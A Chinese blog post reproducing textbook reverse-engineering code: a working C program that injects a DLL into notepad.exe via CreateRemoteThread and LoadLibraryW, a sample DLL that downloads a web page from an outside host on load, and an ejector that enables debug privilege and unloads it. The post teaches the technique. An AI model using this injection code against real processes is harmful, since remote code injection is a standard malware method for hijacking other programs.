逆向工程核心原理之dll加载和卸载(远程线程注入法)

2019-03-24  本文已影响0人  Sadmess

加载

加载主程序

#include <Windows.h>
#include <tchar.h>

//LPCTSTR用来表示你的字符是否使用UNICODE
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
    HANDLE hProcess = NULL, hThread = NULL;
    HMODULE hMod = NULL;
    LPVOID pRemoteBuf = NULL;
    DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 10) * sizeof(TCHAR);
    //LPTHREAD_START_ROUTINE函数指针指向一个函数,该函数通知宿主某个线程已开始执行。.NET Framework 4 版 中已弃用此函数指针。
    LPTHREAD_START_ROUTINE pThreadProc;


    //1.使用dwPID获取目标进程句柄(notepad.exe)
    if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
    {
        //printf的宽字符版
        _tprintf(L"OpenProcess(%d) failed!!![%d]\n", dwPID, GetLastError());
        return FALSE;
    }

    //2.在目标进程notepad.exe内存中分配szDllName大小的内存
    if (!(pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE)))
    {
        _tprintf(L"分配地址失败!!![%d]\n", GetLastError());
    }

    //3.将myhack.dll路径写入分配的内存
    if (!(WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL)))
    {
        _tprintf(L"写入内存失败!!![%d]\n", GetLastError);
    }

    //4.获取LoadLibraryW的地址
    hMod = GetModuleHandle(L"kernel32.dll");
    if (!(pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW")))
    {
        _tprintf(L"获取LoadLibraryW地址失败!!![%d]\n", GetLastError);
    }

    //5.在notepad.exe进程中运行线程
    if (!(hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL)))
    {
        _tprintf(L"运行线程失败!!![%d]\n", GetLastError);
    }

    // If dwMilliseconds is INFINITE, the function will return only when the object is signaled.
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(hProcess);

    return TRUE;


}

int _tmain(int argc, TCHAR* argv[])
{
    if (argc != 3)
    {
        _tprintf(L"USAGE: %s pid dll_path\n", argv[0]);
        return 1;
    }
    // change privilege
    //if (!SetPrivilege(SE_DEBUG_NAME, TRUE))
    //  return 1;

    //inject dll
    if (InjectDll((DWORD)_tstol(argv[1]), argv[2]))
        _tprintf(L"InjectDll(\"%s\")success!!!\n", argv[2]);
    else
        _tprintf(L"InjectDll(\"%s\")failed!!!\n", argv[2]);
    return 0;
}

加载dll

#include <tchar.h>
#include<windows.h>

#pragma  comment(lib,"urlmon.lib")

#define DEF_URL      (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME      (L"\\index.html")

HMODULE g_hMod = NULL;

DWORD WINAPI ThreadProc(LPVOID lParam)
{
    TCHAR szPath[_MAX_PATH] = { 0 };
    GetModuleFileName(g_hMod, szPath, MAX_PATH);
    TCHAR *p = _tcsrchr(szPath, '\\');
    _tcscpy(p+1, DEF_FILE_NAME);
    URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, LPVOID lpvReserved)
{
    HANDLE hThread = NULL;

    g_hMod = (HMODULE)hinstDll;
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        OutputDebugString(L"myhack.dll Injection!!!");
        hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
        CloseHandle(hThread);
        break;
    }
    return TRUE;
}

坑点_tcscpy_s函数报错runtime #2(数组越界),原因未知以后再补。。。

卸载

// EjectDll.exe

#include "windows.h"
#include "tlhelp32.h"
#include "tchar.h"

//由进程名找到进程id号
DWORD FindProcessID(LPCTSTR szProcessName) {
    DWORD dwPID = 0xFFFFFFFF;
    HANDLE hSnapShot = INVALID_HANDLE_VALUE;
    PROCESSENTRY32 pe;

    // 获得系统进程的快照
    pe.dwSize = sizeof(PROCESSENTRY32);
    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);

    Process32First(hSnapShot, &pe);
    do {
        if (!_tcsicmp(szProcessName, (LPCTSTR)pe.szExeFile)) {
            dwPID = pe.th32ProcessID;
            break;
        }
    } while (Process32Next(hSnapShot, &pe));

    CloseHandle(hSnapShot);
    return dwPID;
}

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
    TOKEN_PRIVILEGES tp;
    HANDLE hToken;
    LUID luid;

    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
        return FALSE;

    if (!LookupPrivilegeValue(NULL,           // lookup privilege on local system
        lpszPrivilege,  // privilege to lookup 
        &luid))        // receives LUID of privilege
        return FALSE;

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if (bEnablePrivilege)
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;

    // Enable the privilege or disable all privileges.
    if (!AdjustTokenPrivileges(hToken, FALSE, &tp,
        sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
        return FALSE;

    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
        return FALSE;

    return TRUE;
}

BOOL EjectDll(DWORD dwPID, LPCTSTR szDllName) {
    BOOL bMore = FALSE, bFound = FALSE;
    HANDLE hSnapshot, hProcess, hThread;
    HMODULE hModule = NULL;
    MODULEENTRY32 me = { sizeof(me) };
    LPTHREAD_START_ROUTINE pThreadProc;

    // dwPID = notepad进程的id号
    // 使用TH32CS_SNAPMODULE参数,获得加载到notepad进程地址空间的DLL信息
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);

    bMore = Module32First(hSnapshot, &me);
    for (; bMore; bMore = Module32Next(hSnapshot, &me)) {
        if (!_tcsicmp((LPCTSTR)me.szModule, szDllName) ||
            !_tcsicmp((LPCTSTR)me.szExePath, szDllName)) {
            bFound = TRUE;
            break;
        }
    }

    if (!bFound) {
        CloseHandle(hSnapshot);
        return FALSE;
    }

    if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
        return FALSE;

    hModule = GetModuleHandle(L"kernel32.dll");
    pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "FreeLibrary");
    hThread = CreateRemoteThread(hProcess, NULL, 0,
        pThreadProc, me.modBaseAddr,
        0, NULL);
    WaitForSingleObject(hThread, INFINITE);

    CloseHandle(hThread);
    CloseHandle(hProcess);
    CloseHandle(hSnapshot);

    return TRUE;
}

int _tmain(int argc, TCHAR* argv[]) {
    DWORD dwPID = 0xFFFFFFFF;

    dwPID = FindProcessID(L"notepad.exe");
    if (dwPID == 0xFFFFFFFF) //没有找到notepad进程
        return 1;

    // 更改特权
    if (!SetPrivilege(SE_DEBUG_NAME, TRUE))
        return 1;

    // 卸载DLL
    if (EjectDll(dwPID, L"myhack.dll"))
        _tprintf(L"EjectDll(%d, \"%s\") success!!!\n", dwPID, L"myhack.dll");
    else
        _tprintf(L"EjectDll(%d, \"%s\") failed!!!\n", dwPID, L"myhack.dll");

    return 0;
}

代码来源:逆向工程核心原理

上一篇下一篇

猜你喜欢

热点阅读